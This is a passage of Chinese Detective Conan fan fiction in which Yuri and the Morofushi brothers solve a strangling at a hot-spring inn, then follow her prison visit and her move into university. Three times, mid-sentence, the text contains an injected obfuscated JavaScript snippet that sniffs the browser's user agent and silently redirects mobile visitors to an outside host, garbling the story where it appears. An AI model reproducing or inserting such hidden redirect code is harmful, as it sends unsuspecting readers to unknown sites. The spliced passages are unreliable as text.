于是有里直接放弃了主食的摄入拜托他们帮忙解决,好在小菜和水果足够清淡还能接受。 唯一感兴趣的餐前甜酒被唯一的成年人干脆利落地收走,有里和降谷零彼此对视一眼叹气,倒是诸伏景光一副松了口气的样子? 诸伏高明瞥见了他们的动作忍住笑意。 很难得见到弟弟这个样子,或许是因为有同龄人在,更活跃了一些。 这样也很好。 晚饭结束后,有里在这边三位男士的注视下敲了敲对面第四间房间的门,幸好这次服务员没有给错房间。 隔音效果很好,有里也没有想过什么回应,只是先拉开了一条缝隙,里面才传来一道声音,“请进。” 她转身冲那边点头,这边三人才放心。 屋内的装横大体一样,隔着帘子那边的灯光隐隐绰绰,有里打消了打开大灯的念头,一个晚上而已,都体量点彼此吧。 可能是作为拿走台灯的回报,暖桌放在了她这边——不管怎么说,她对这位千岛慧小姐印象很好。 有里干脆借着那边不算明亮的灯光换了入寝的衣服,床铺已经铺好了。 有里猜测这位千岛慧小姐喜静,秉持着多一事不如少一事的概念,也没有再主动开口闲聊的意思就钻进了被窝。 睡前复盘已经成为有里的习惯了,她迷迷糊糊地开始回忆今天的事情。 诸伏高明想要成为警察,但选择了升职最困难的途径,成为“非职业组”。 从前途上来说,二者没有任何可以相比的地方。 单从个人价值创造来说,有里认为以高明哥的智商在哪里都能做的很好,甚至于如果对方真的有远大的目标,职业组可以为他带来的优势更是远远不能比的。 硬是说想要从基层一步步升上来证明自己,好像也不是他的作风。 一定,有什么非做不可的理由才对。 隐约间,有里感觉那边的灯光也灭掉了,黑暗但温暖的环境,终究是最容易滋生睡意的。 22.旅店疑点 这一觉睡得出奇地沉重。 第二天叫醒有里的是一阵冰凉的刺激 。 “你终于醒了,”诸伏景光松了一口气,“有哪里不舒服吗?” “好冰,”有里下意识抬手,发现胳膊软绵绵地没有什么力气? 诸伏景光把放在她脖颈间的冰袋移开,解释道:“你吸入了麻醉类物品,这是想让你快点醒过来。” 这都哪跟哪啊…… 大早上的为什么要让她面对这些事情。 “我昨晚睡觉时吸入的?” “是。”降谷零带着手套端来了香薰炉,“里面的东西已经燃尽了,凶手大大方方地摆在这里,估计很难找到指纹。” “凶手……”原谅她刚醒来就要面对案件,思维真的很混乱,偏偏这两人跟打哑迷一样地不直接说清,“死者是我旁边那位?” “是,所以你的证词很重要。” “既然这样,在房间叫醒我不就好了,”有里坐直身体,这显然是他们三个的那间房子。 “因为尝试了呼喊没有叫醒,”降谷零很直白地承认,“而且我们认为你不会想在那间充满异味的房间醒来。” 还蛮人道主义的…… “其实我身上味道还挺重的……”有里默了默,“但也有可能是这间旅馆都被腌入味了。” 降谷零对这一点不做评价,毕竟他进进出出现场,身上没有味道是不可能的。 但比起眼前这位和尸体共处几个小时的人,果然还是她更倒霉啊。 总之搜查课的警官还没到,那边有诸伏高明控场,倒也不算紊乱。 简单洗漱完,有里这才好受了一点,扶着门跃跃欲试打算去现场看看。 “你腿软除了麻药的缘故,大概还有因为你太长时间没有摄入主食,”诸伏景光把牛奶面包拆开并拦住她,“另外,我建议你在去现场之前先吃点东西。” 这话……感觉是看了现场之后很难再进食的样子。 话说回来,自己最近这遇到案件的频率明显上升,到底是粘了这两位谁的体质? 诸伏高明并不像大多数警官一样,严令禁止他们,这群未成年人进入现场。 在发现他们都很有分寸不破坏证物,并且对案件产生了极大的兴趣之后,也就放任了。 “长野县的警官说还需要一段时间才能到,”诸伏景光表情并不轻松。 事实上没有人在看到现场之后能摆出什么好脸色。 死者千岛慧,死于机械性窒息,除去脖子外表面无损伤。 是多大的仇恨强硬地把人掐死。 现在几个人站在走廊上,店里的其他客人在房东和服务员的安排下都呆在自己的房间里——真是奇妙,明明诸伏高明也只是大学生的身份,意外地很多说服力啊。 “昨晚我进门的时候室内灯光很暗,只有竹帘那边的台灯发出微弱的灯光。”有里站在门口回忆。 “考虑到两个陌生人使用这间房间,我没有去开大灯,只是借着对面的光亮行动。” “你和死者有接触吗?”诸伏高明询问。 “只有在进门的时候对方答了话,后来只是听见了轻微的布料摩擦声,全程我们没有见面。” 这也不算奇怪,毕竟昨晚她进到房间的时候已经过了九点,陌生人之间也没有太多闲聊的必要。 “所以很有可能当时回应我的是伪装成死者的凶手,”想到这里,有里还是出了一层冷汗,“真正的千岛慧女士在我进入房间的时候已经死了。” “我们也猜测过这个可能,”诸伏高明解释,“但从尸体温度来判断,她的死亡时间不超过五个小时。” “所以凶手是先迷晕了我再进来杀人?” 这个推测同样也让人不寒而栗。 “也很奇怪不是吗?”降谷零接话,“如果凶手在室内点了迷药,死者应该也会昏迷过去,可是从现场来看死者明显是剧烈挣扎过。” 这就是问题所在了。 三人分工明确的去向房东山中大横,服务员古贺蕾和有络腮胡的男人天方境问话。 有里留在案发现场—— 一方面是为了保证现场安全,另一方面,试试看还有什么遗漏点吧。 毕竟死者也会说话。 扼杀的方式说明凶手要不是极其愤怒,要不然就是冲动型犯罪。 那么使用的诡计应该也不会太完善才对。 死者颈部后面已经有了尸斑,这只能推测死亡时间已经在两个小时之上。 两只胳膊都摆在两侧,其中一只胳膊呈现不自然的弯曲状态——像个C型。 想要表达什么意思嘛? 除此之外,有里在死者另一只手的指甲看到了明显的裂痕——有用力抵抗过。 考虑到尸斑的位置或许也会告诉他们一些信息,有里带上手套先是恭敬地道了歉。 然后将死者翻了过来查看—— 果然在背部,臀部,四肢的后侧都有明显的痕迹,说明尸体应该是长时间处于仰卧平躺的状态。 原谅自己一个人的力气实在不行,她已经尽可能用了轻柔的动作,但还是在这个过程中弄乱了死者的衣服。 伴随着这个动作,死者胸前的肌肤也漏了出来…… 为什么会有淤青。 有里眼角跳了跳,将手移动到了死者的肋骨部位。 —————— “能打探到的消息有限,”四个人围在一起共享信息,“基本都是靠相互指证。” “首先是死者的男友天方境先生,两人最近确实感情出现了问题,不过这趟旅行是一早就确认的。” 这一点从昨天服务员古贺蕾口中【他们预订了房间】可以得到证实。 “天方境认为可以趁着这段旅程修复关系,好在对方也没有拒绝。” 这边是诸伏高明去沟通的,毕竟怎么看都是这个男人最可疑,危险性也最高。 “不过也有可能是因为取消预约需要扣除百分之五十的房费。” “强买强卖啊……”有里挑眉,话说昨天房东山中大横的表现,也确实符合这一特点。 “争吵的原因有说吗?” “天方境说女友经常跟自己闹脾气,一开始还好,不错最近次数直线上升,说来说去都是因为一些没有必要的小事情。” 这话听得人无端来气,感情好的时候叫情趣,时间长了就成了无理取闹? “房东山中大横自己经营了这家店,”降谷零平静道,“虽然打着百年老店的旗号,不过那是从上一任房东开始经营算起。” “但是他的态度有些奇怪,”降谷零对自己的敏锐度很有自信,“一般的店主知道自己的店里发生了这种事情,情绪大概不是愤怒就是忧愁,但是山中大横……我感觉他反而接受良好的样子。” “他不在意?”诸伏景光更直接地发问。 “不是,”降谷零思考着,“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12542757|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更像是焦虑,要不就是心里有鬼,不过他在和我沟通的时候很配合,完全一副希望我们赶紧解决案件的样子。” “是有点奇怪,关于死者的事情,他有透露些什么吗?”诸伏景光将话题带回。 “房东说死者是这家旅店的常客,基本每次都要要求提前预订那个房间,所以还算有印象。” “而且听说那两人之前关系相当恩爱,已经是快要成婚的关系。” “而且房东一副不理解的样子——谁都知道天方家境优渥,按理说这样的男友应该好好抓住才对。” ……不做评价。 这样一来,作为男友的天方境嫌疑又增大了啊…… “古贺蕾是两年前来到这里工作的,孤儿长大一路靠着好心人家的赞助完成了基础教育,因为中学之后想要尽快还清债务,选择直接打工,”诸伏景光问的是那位服务生小姐,“还有一位男店员,主要在后厨做料理的工作,不过现在倒班中刚好在休息。” “她说老板山中大横很优待他们,虽然因为地理位置的原因旅馆收益不算很好,但对方还是给了相对优渥的报酬,同样的,她也是尽心尽力地在这里工作。” “死者千岛慧女士比起她的男友,性格很随和也很爱开玩笑,经常给古贺蕾吐槽说对方不懂她的幽默。” “两人之前也偶尔会发生争执,要求分开房间,不过每次在离店之前就会和好如初,所以也并没有太在意。” “另外补充一点,”诸伏高明出声,“在近五个小时内,只有天方境没有不在场证明,服务员古贺蕾小姐和房东山中大横先生,是昨晚守夜的两个人,所以那个时候彼此可以当做对方的不在场证人。” 这样一来,全部嫌疑都在天方境身上了。 “但是凶手中间后悔了,”有里把自己的分析讲出,“我刚刚……不小心发现了死者身前的部位有淤青,应该是遭受过重力留下的痕迹。” “如果肋骨骨折比较严重例如肋骨完全断裂,通常从体表是可以触摸到的,触摸时可以感觉到肋骨断裂,轻轻按压后,发现了肋骨断端摩擦音。” “所以……”她抬头对上三双严肃的眼睛,最终给了判断,“凶手行凶后因为某些原因,对死者进行了心肺复苏。” “啊……”诸伏景光大脑宕机了一下,“真是大发现。” 其实是因为自己查看尸体误打误撞的有里【默不作声.JPG】 “所以问题一,死者真正的死亡时间。” “问题二,凶手后悔的原因。” “我去问问别的房间的旅客,昨天有没有听到什么异常,”诸伏高明起身,正常来说确实这项工作由他承担最合适不过。 但这里隔音还算不错,就像昨晚天方境和有里发生争执那会,旁边的他们三人也没有听到什么异常。 得到线索的几率渺茫。 但还是要试一试。 降谷零起身打算再去现场转一圈。 诸伏景光则试图去后厨查看有没有什么端倪。 “对了有里,女汤池那边我们不方便进去,”诸伏景光转身,“你一会可以去看看吗?” 这和有里自己的打算一致,她点头应承了下来。 有里走在最后,突然想起来昨天服务员古贺蕾小姐说的那句话,于是复述了一遍,“这家旅店每四年都会翻修一次,老板真是个注重品质的人。” 诸伏高明在她前面,脚步停了下来,“说的不错。” 23.案件之下 昨天因为来得太晚,又奔波了一天,有里并没有进入汤池这边。 不过现在看来真是有点遗憾了,这边竟然用的是少见的酸性泉,听说那几家有名的店铺全部是一房难求。 她蹲下身伸手探进了温泉池。 “外守小姐。”古贺蕾在背后喊她。 有里没有转身,保持着玩水的姿势,“古贺小姐,昨天千岛女士有来这边泡温泉吗?” 古贺蕾没有立刻回答,思考了一下,“或许吧,我不太能确定每一位客人的行动。” “也是,每天做这样的工作很辛苦吧,现在这家店又发生了这样的事情。” 不知道还能不能撑得下去呢。 古贺蕾顿了顿,“每个人生来不同,我幸运地长到了现在的样子已经很感激了。” “怎么了,您刚才有什么发现吗?” 有里将手上的水渍擦干净,“对了,我的衣服处理好了可以麻烦你送到房间来吗?” —————————— “我刚刚去后厨看了一圈,”诸伏景光猜测到了事情的关键点,“今早的料理已经准备好了,只是因为事件的缘故,大部分都放在台面上没有人去动。” “其中一份没有任何海鲜类和生肉料理。” 按照昨晚的说法,这里的餐饮都是不接受客人自行选择的,所以出现了不得已的单独配置—— “也就是说千岛慧怀孕了。”诸伏高明和降谷零同时得出结论。 “三个月内不显怀也不是什么异常的事情,所以看不出来也有可能。” 像是之前的怀疑得到了落实,但确认答案并不是一件让人惊喜的事情。 “你看起来像是早有心理准备?”诸伏景光自然是最先得出结论的人,但有里并没有做出什么惊讶的举动。 有里承认,“大概我是从结果倒推过程,其中最合理也最有概率,让那位凶手愿意停手,并实施抢救的原因,就是这个了。” “可是还是没有证据?” 四个人都知道了凶手是谁,现在缺乏关键性证据。 “关于这一点,”有里拉开房间的门,从古贺蕾手中接过自己的衣服,“就算是清理过,上面的抓痕也可以和死者指尖勾上的线头进行对比。” 做过的事情一定会有痕迹。 对吗? 像是什么呢? 像是溺水挣扎的人彻底断了挣扎的欲望。 古贺蕾跪坐在地上。 终于结束了,她想。 ———————————— “我想如果在进门的时候回应我的就是凶手,那么只能是这里唯一的女性了。”虽然当时的时间线还不确定…… 长野县警高腾警官现在在和有里记录案情推理。 至于为什么是她—— 三人一直认为她作为唯一一个“案件现场的参与者”,肯定也是要再经过一轮询问的,干脆一起说了算了。 怎么高明哥你也跟着胡闹啊! “所以犯人在时间上用了什么计谋?”高腾警官对于一个高中生来破案这件事有点胡闹,但碍于事实上在场的人统一了说辞:是她侦破案件的。 “尸温方面,古贺蕾应该是将死者放在了暖桌低下,35℃以上尸体温度不会降低。” “后来将我迷晕之后,又将尸体从暖桌下移动到了另一边。” “一个女性的力气吗?”高腾警官不敢相信。 “是的,这家旅馆除去房东只有两位服务人员,一位在后厨工作,从我们来到这里的情况看,房东现在最大的工作就是支配服务员古贺蕾干活。” “这样的状态平时干一些重活也是无可避免的事情吧。” 高腾警官点头,示意她继续。 “下面说回到案发现场,古贺蕾应该是在我进入同伴们的房间就餐时下手的,当然,她特意穿上了我的衣服,毕竟一般不会在这个时候放任服务员进入自己的房间吧……当然,我猜测也有考虑到不想在自己的衣服上留下什么生物特征的原因。” “这里还有一点,她特意告诉了我错误的房间——这里也很奇怪,因为房东先生说死者是这里的常客,经常和男友预订相同的包厢,所以作为服务员的古贺蕾小姐记错的可能性太小了……至于她还是让我敲响天方境的门的原因,应该是为了让我们确认他的不在场证明。” “确认了死者的真正死亡时间之后,作为和我们间隔一个房间,和死者正对面住下的天方境,如果从走廊经过,是会被我们看见的。” “那凶手是怎么进去的?”高腾警官问,既然这里的房子很容易都能看见走廊走动的人影,按理说他们四个人总会有人看到凶手进入现场的经过。 “我想她进去的契机还是在看我进入同伴房子的瞬间。毕竟作为一名服务员,通常不应该在客人之前行动才对,加上之前看到了我在走廊和天方先生发生了争执,几个同伴们出于担心出来查看情况,随后我们几个人是一起进去的也很正常……不得不说凶手很大胆。” 有里看这位警官没有疑问,才继续往下说,“我和死者的床铺中间放了竹帘,死者不知道进来的是谁也合理,古贺蕾在换完我的衣服后靠近死者,并下手掐住了她的喉咙。” “声音?” 有里再次扶额,“这里的隔音真的好得离谱,您一会可以试试。” “说回正题,这个时候死者在情急之下说出了自己怀孕的事情,企图请求死者放过自己。” “这都是你的推测吗?”高腾警官眼神很锐利。 有里没有闪躲,“我的朋友在后厨中发现有一份看起来像是特意为孕妇准备的料理,当然她是否怀孕相信鉴定团队会给我准确答案。” “但请您不要怀疑一个人求生的本能,而且您可以观察死者的手臂弯曲形状——C字型的姿势,看起来不像是在护着什么吗?” “她的肚子?”高腾警官点头,“所以凶手怎么做的。” “相信您也会知道死者肋骨骨折这一信息,凶手在得知她怀孕后,试图进行心肺复苏来抢救,可以没有成功。” “至于为什么一个下了死手的犯人,突然‘悔过’,我想,因为古贺蕾本身也是一个孤儿吧。” “她可以对一个成年人下手,但做不出来对一个孩子——哪怕尚未出生,破坏她的家庭。” “既然这样……她的动机是什么?”高腾警官的态度逐渐变得恭敬。 “她说过有人资助了她,应该是天方先生家吧,毕竟老板说过天方家境优渥,不过对方应该也清楚这件事情。” 有里嗓子很干,但还是希望一次性说完,“当然,这并不是完全空口无凭的推测,昨晚特地让我敲响天方先生的门,主要是为了帮他制造不在场证明,尽管她今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12565652|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天所有的证词都在往犯人是天方境先生上面引导,但是她的行动也早就为他铺好了路。” “但是昨天天方先生那句‘你不要来烦我了’,听起来两人不是完全服务员和客人的关系,起码有别的认识……” “当然这一点还需要你们调查,我想大致是这样,这件事情估计调查起来也不是什么难事。古贺蕾的杀机应该是看不惯资助自己的恩人被这样的女人玩弄?” “说实话,她管的太多了。” 高腾警官睁大了眼睛——现在的高中生这么早熟的吗? “事实上就算证据收集有困难,我认为现在的古贺蕾会自己供述所犯全部罪行——起码在知道对方怀有身孕开始,她就意识到自己做错了事情。” 有里低声道,“不然,在我要她把衣服送来的时候,她会直接处理掉这样明显的证物。” ———————————— 现在高腾警官对有里的态度真的是完全大逆转——“外守同学,欢迎你常到长野这边来玩!” 有没有可能她就是长野县的…… “谢谢您。” 今天天晴了,现在回程应该来得及,有里盯着两个慢悠悠回来的同学,“你俩,偷懒应该够了吧?” 降谷零和诸伏景光还真是掐准时间去旁边的村落转了一圈,完美避开询问。 答应自己做这个“破案者”的原因,也有她考虑到这两位日后的特殊身份,避免多接触一点人也应该是不错的事情吧。 “我们可是专门为了给你买了一身冬装才回去的。”降谷零拖长语调,“可惜有人不识好人心啊……” “喔……”衣服被当做证物收走,有里确实不能穿着浴衣离开。 “真是太感谢两位了,”她变脸变得飞快,“我就说聪明善良的诸伏景光同学和他的朋友一定是天底下最好的人!” 诸伏景光没忍住笑,“给你,去换吧。” 降谷零——真的真的好想揍人?他是个附带的。 果然冬天还是得穿大衣,这一身比来得时候暖和多了,尺码竟然也刚好? 事实上这是诸伏景光打了电话回去,询问自己母亲的结果。 诸伏高明也踏步从旅馆里出来,看不清脸上的神色。 “走吧。”他说。 ———————————— 温泉旅馆。 房东山中大横擦了一把汗,自己经营的旅馆发生案件当然不是什么愉快的事情,但他知道,更要紧的还是手机里那人的答复。 他立刻将这起案件上报,并说明现在旅馆又没有员工,自己会进行招呼,最后确定人员候选交由对方审核。 【小孩的侦探游戏罢了,名单。】 山中大横不操心旅店收益,就是因为这位上司会提供给他额外的报酬,同时负责了旅店的装潢和返修,基本上自己只是充当一个吉祥物的作用。 不过对方要求将每次留宿的人员名单上报,他大概知道自己现在是在为什么不得了的人做事,不过有钱赚就行。 他去到前台,按照登记册上最新一页的名单输入。 【田中一郎、天野池、小川上野……】 这几个人长相不错,但都是很大众的名字,山中大横没多想,反正只是执行任务。 那边再也没有回复过消息,山中大横松了一口气——这就是没事的意思。 24.你先是你 因为几个人在年初第一天就遇到了案件。 诸伏夫妇认为这实在不是个好兆头,于是给几个孩子准备了诚意满满的福袋,还去专门求了御守回来。 诸伏高明因为临近毕业,东京那边大概也有很多事情要处理,只是停留了三天就离开了。 当然,临走之前,他和有里交换了联系方式。 鉴于自己的兄长之前鲜少交换联系方式,尤其是女性——诸伏景光没控制住自己脸上的惊讶。 要知道小时候的自己一个月只能给哥哥打一次电话,次数多了就会被哥哥用中国谚语训斥。 “学校那边有事情随时联系我。”诸伏高明淡淡道,“当然,别的事情也是。” —————————— “你是不是在我家里安监控了,”清晨有里刚打开门,就看见一脸笑容的诸伏景光。 对方表示很无辜,“怎么会,我只是恰好有事情路过这边而已,你要去哪里吗?” “真是败给你了。” 想也是,这两天自己经常和诸伏景光打听七岁之前的事情。 诸伏景光接过她的背包,两人一起往目的地走过去。 估计诸伏景光也不知道怎么开口,所以有里先打破了沉默,“我最近在试图拼凑外守一所熟悉的外守有里是怎样的。” 诸伏景光没想到她现在对外守一的称谓,或者说叙述方式如此平静。 “我不知道自己应该以什么样的方式去见他。” 毕竟从局外人的身份听说当年那起时间,诸伏景光都无法置信,这太荒谬了。 “听起来很戏剧性对吧,”好像看穿了他的想法,有里点破,“我也曾想过,他可能一直就是一副心里过于偏执,或者很是压抑的父亲角色,我企图把所有问题都推到他的身上。” “但好像不是。” 两个人走得很慢。 “你说曾经的‘我’很活泼,很容易就能在班上交到朋友,总是扎着两个马尾。” “‘我’很早之前就没有母亲了,于是关于外守有里所有的性格塑造,都源自于她唯一的父亲。” “他会在丧妻之后学着给女儿扎辫子,母亲的早早离开并没有让‘我’变得沉默寡言,‘我’依然积极乐观地长大。” “那天早上,‘我’和他或许发生了一些争执,于是来到学校‘我’恶狠狠地和朋友扬言要离家出走,却在片刻之后就反应过来自己刚刚的话有多么伤人——哪怕那句话不过是和朋友的抱怨和吐槽,也并不会被他知道。” “‘我’爱着他,正如他爱着‘我’一样。” 如果有机会,她当然愿意让那个小女孩幸福地生活下去。 “可能确实是我做错了……” “你在胡说八道些什么啊!” 刚刚并排走的男孩站到了她面前。 有里没见过表情这么严肃的诸伏景光。 “这件事情从始至终你没有主动做任何伤害他的事情吧。” “可是……” 他确实失去了他的孩子。 “别再说什么可是了,”诸伏景光绷着情绪,“你很努力,也很优秀,也足够善良。” “你做到了很多同龄人做不到的事情,也经历了很多同龄人,甚至比你大的人都无法承受的事情,在外守一的女儿这个身份之前,你首先是你自己。” “你已经很棒了。” 那件事情之后,有里听到了很多的声音。 ——一方面是在谴责外守一,一方面难免有人会对她指指点点。 他们安慰她,鼓励她,试图告诉她外守一不是一个好父亲,并让她因为这个家庭出身带有更多包容和赞美,同样也把她限制在了女儿这个角色内。 一天天的自我谴责让她无处安放,可一旦跳脱了这个角色,似乎就是完全惊世骇俗的举动。 没人会这样做,没人会认可她。 她曾经这样以为。 “怎么像是被发了好人卡?”被戳中心事的人抬起头,这个场景,就像很多年前那个站在落日下告诉她“我要当警察”的时刻一样。 闪闪发光。 诸伏景光垂了垂长长的睫毛,他知道自己应该做点什么,哪怕这个年纪,做这件事情已经并不十分和规矩。 “好久不见。” 他张开双手,虚虚环住了她。 这是一个再克制不过,也再轻柔不过的拥抱,哪怕有里甚至没有感受到对方的一点触碰感。 没有暧昧。 但是温暖又安心。 —————————— 其实这次来也没有什么事情要做,有里整理过家里,又整理出来了一些新的相册,除此之外,她又自己添置了一些衣物和书籍。 诸伏景光在外面等她。 其实更没什么好说的,大概谁也不知道怎么开口,或者说,比起有里自己说点什么,外守一大概觉得看着这样静态的她更舒服一点。 于是每次她都在里面呆满时间——直到工作人员提醒。 东西经过安检会交给外守一。 然后,这更像是一个固定的流程。 —————— 但这次不一样,她不是孤身一人来的。 “走吧,”诸伏景光斜靠在树上,看到她出来站直了身子,“还有时间,想做什么?” “诶,今天的时间都归我吗,降谷同学呢?”对于这对幼驯染连体婴一样的出没方式,有里已经达成了没看到会觉得奇怪的程度了。 “想叫他也不是不可以。”诸伏景光这回答完全不按照她的思路啊。 总之,感谢他这种时候不是一味照顾她的情绪,像往常一样就很好了。 “话说回来,”这个问题有里想问很久了,“你和降谷同学是怎么认识的呢?” “啊,一开始是因为我们两家住的特别近,不过这家伙似乎总是活跃过了头,”诸伏景光含笑道,“经常看见他爬到树上或者钻进草丛里。” “所以你?”她隐约猜到了结局。 “我加入了,”诸伏景光承认,“后来我发现zero总是受伤,不过那家伙真的没有认真注意自己的健康问题,就算实在看不过去自己包扎了也惨不忍睹,所以我忍不住上手了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12584534|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再然后,就一路处理到了现在,不过升上高中部之后zero倒是沉稳了许多。”诸伏景光补充。 可以了……不用为你的幼驯染找补了。 “嗯,这样说起来,如果是学校里的其他同学根本想不到降谷同学会有这一面,”不过她例外,“但是在我这里脑补那个画面,竟然异常合理?” “因为我们都是朋友啊。”诸伏景光理所当然地回答,“那么作为朋友,我真的很好奇你和哥哥说了什么?” “诶,”话题跳转得有点快,这家伙不会一开始就打算把话题引到这个话题上吧。 不过有里没追究,同时也十分诚实地回答:“没说什么啊?” 真的只是交换了联系方式的程度…… —————— 事实上有里也不知道诸伏高明的想法。 可能就是作为一名准警官的责任心(对于诸伏高明能够成为警察这一点有里从未怀疑),不介意对这个邻居家的妹妹照顾一下。 当初在温泉旅馆——因为自己和服务员古贺蕾的聊天,才得知这家店一些奇怪的点。 明明经营状况不算好,但却不缺资金来源和收入。 装横分明是花了心思的,已经可以对标东京那几家有名的温泉旅馆,地理位置也不算糟糕——明明靠近户隐神社这样一年四季都不缺少旅客的地方,也一直放任这里处于不温不火的状态运营着。 加上对于房东山中大横的那一点点印象——这是一家百年老店的经营者,她不觉得这样的人像是从事旅店管理的佼佼者? 当然,全是空口无凭的事情。 再加上后来诸伏景光提到的,房东先生在发生命案后异于常人的神态。 总之,小心一点也不会有错吧。 这些意外得知的不确认重不重要的信息他们三个当然不知道,特意提出来似乎也很奇怪—— 希望当初自己自言自语的样子不会被诸伏高明认为是个怪人? 而她所做的,只是在经过前台的时候,装作不经意地样子撕走了最新一页的登记表,然后融化在酸性的温泉池里,直接销毁了个干净。 现行法律没有规定这个行为构成犯罪吧? 有里后知后觉地想,可能会对店家产生一些困扰…… 有里觉得好笑,可能是因为最近遇见命案的几率变多,总觉得现在看谁都有一种犯罪预备役或者犯罪进行中的错觉? 在这个世界里保持与人相处的友善真的是非常重要的一件事情! —————— 不说这个了,“要来试试吗?” 诸伏?AKA?景光举起了旁边摊位上的射|击枪,顺手把钱放在了老板的桌子上。 虽然是打气球用的□□,但是小朋友你好像很熟练的样子? “很简单的,”诸伏景光跟她解释,“真的不考虑一下?” 为什么一副诱惑人犯罪的样子…… 然后明明是邀请她来放松的诸伏景光同学,没有浪费一发子弹,成功拿走了奖品台上最大的那个玩具熊。 “下次……别再来了。”店铺老板痛心疾首。 25.东都大学 有里顺利通过了东都大学的考试拿到了录取offer,接下来的审批也走得非常顺利——帝丹高中没必要卡她这个。 虽然东都大学早就有破格招生的政策,但一方面大多数生源还是通过高中升学考试进来的,另一方面能通过选拔条件的人也不多。 所以有里入学后获得了相当不错的优待——在本科期间学校已经分配了导师。 关于升学这件事情有里只是主动告知了诸伏家的人和沙纪小咲。 诸伏景光在道喜的同时还附带感谢了她留下的备考资料。 毕竟帝丹高中的同学大多数都会选择帝丹大学,那么最适合承接这些资料的果然还是诸伏景光和降谷零。 沙纪小咲则大段大段地表示了自己的骄傲和想念……但其实只要有空随时可以见面,怎么说都是在东京。 另外还有两封邮件。 一封来自诸伏高明——他大概也是从诸伏老师或者诸伏景光口中得知了确切的消息,加上之前过年期间有里也没有隐瞒自己的规划,所以这会,作为名副其实的学长+校友,诸伏高明在祝贺之余还和她聊了聊专业上的规划。 最后还是一句“有事随时找他”收尾,有里再次受宠若惊? 另一封邮件更加称得上是意料之外的事情了。 萩原研二——那位在联谊中一面之缘的过耳发型,非常有sense的男生,竟然不知道从哪里得知了她的升学消息,还特意发来了恭喜。 虽然当时是她和那位黑头发的松田阵平交流颇多,不过二人也只限交换了姓名的程度,反倒是仅仅打了招呼的萩原研二和她交换了联系方式。 事后竟然还会在知道这件事情后专门发消息给她。 ——真是一位真诚的同学。 被人在心里默默夸赞的萩原研二同学,这会正利用短暂的课间时间和朋友确定今晚的联谊地点。 其实那位外守同学的事情他也没有利用自身的人际圈多打听—— 虽然帝丹高中不乏出名演员,精英律师这样的优秀校友,但16岁跳级升入top1学校的同学,还是在那附近的高中生里掀起了一波讨论。 而萩原研二发现这和自己通讯录里面的那个名字刚好对应——于是在高情商+保持联系没有坏处的考量下,发送了短信。 当然另一边的人可并不知情。 —————————— 老实说医学专业的课程难度和量度都相当的大,再加上导师渡边曜日属于领域内大牛的存在,所以科研任务也十分繁重。 关于苏格兰——有里只能从并不频繁,甚至可以说是稀少的某次疼痛中判断对方的状态,看起来对方的处境没有那么危险,起码目前是这样。 再加上自己现在还好好地站在这里——起码他还没事。 靠着优秀的理论课成绩和实操成绩,有里在大学三年级那年就成功获得去米花中央医院实习的机会。 诸伏景光和降谷零也在两年之后顺利进入东都大学。 有里靠着奖学金在医院附近租了房子,虽然很小但毕竟是专属于她自己的地盘,还是让人开心了不少。 起码熬完大夜还有个临时休整的地方。 ———— “喂喂,当事人就这样瘫着真的好吗?”被叫来当苦力的降谷零终于忍不住吐槽。 没办法,找了住所总得置办点新的家具——而这两位看起来就很好用,还很省钱的样子。 有里刚从医院回来,这会只想瘫在沙发上当一条闲鱼。 于是她很不客气地双手合十,“您二位能者多劳,一会我请客你们随便吃。” “不愧是‘上班’了的人,”降谷零嘴上抱怨,手上动作却不停,这会正在组装桌子,“请客很大方啊。” 虽然医院实习的报酬微乎其微,但是导师渡边曜日倒是不吝啬于给他们这群学生经费——当然,和个人能力成果成正比。 感谢这一点,有里不用在学校医院两点一线的行程中再抽出时间去打工。 真的有人能同时进行三种身份转换还游刃有余的吗? 她感觉自己现在这种时间安排已经相当“内卷”了。 “不过你没有必要把自己逼得这么紧张吧,”诸伏景光觉得有里在高中的时候虽然也一直督促着自己向前走,但还处于有空给自己放个假期,参加些活动的状态。 到了大学情况似乎愈演愈烈,“听说你的导师也不是很支持你现在这样兼顾两边。” 有里意外地抬眼,“消息很灵通啊……不过最近似乎有点改善。” 渡边曜日觉得这是个有天赋的学生,虽然年纪小了点,但是在心性方面显然具有成才的价值。 他更期待有里投入更多时间精力在科研的领域,不过渡边曜日同样是尊重学生的人,选择两边跑不代表放弃,所以也没有强令禁止。 ——再加上这孩子确认也在医院做得很好,实验数据方面也确实需要来自医院方面的资料。 于是渡边曜日渐渐觉得这孩子是个非常有想法的人,于是教导也更加上心……交代的任务也越来越多。 实际上,有里坚持去医院的原因,听起来似乎很好笑——只是为了让自己遇到苏格兰的可行性更大一点,所以必须要试试。 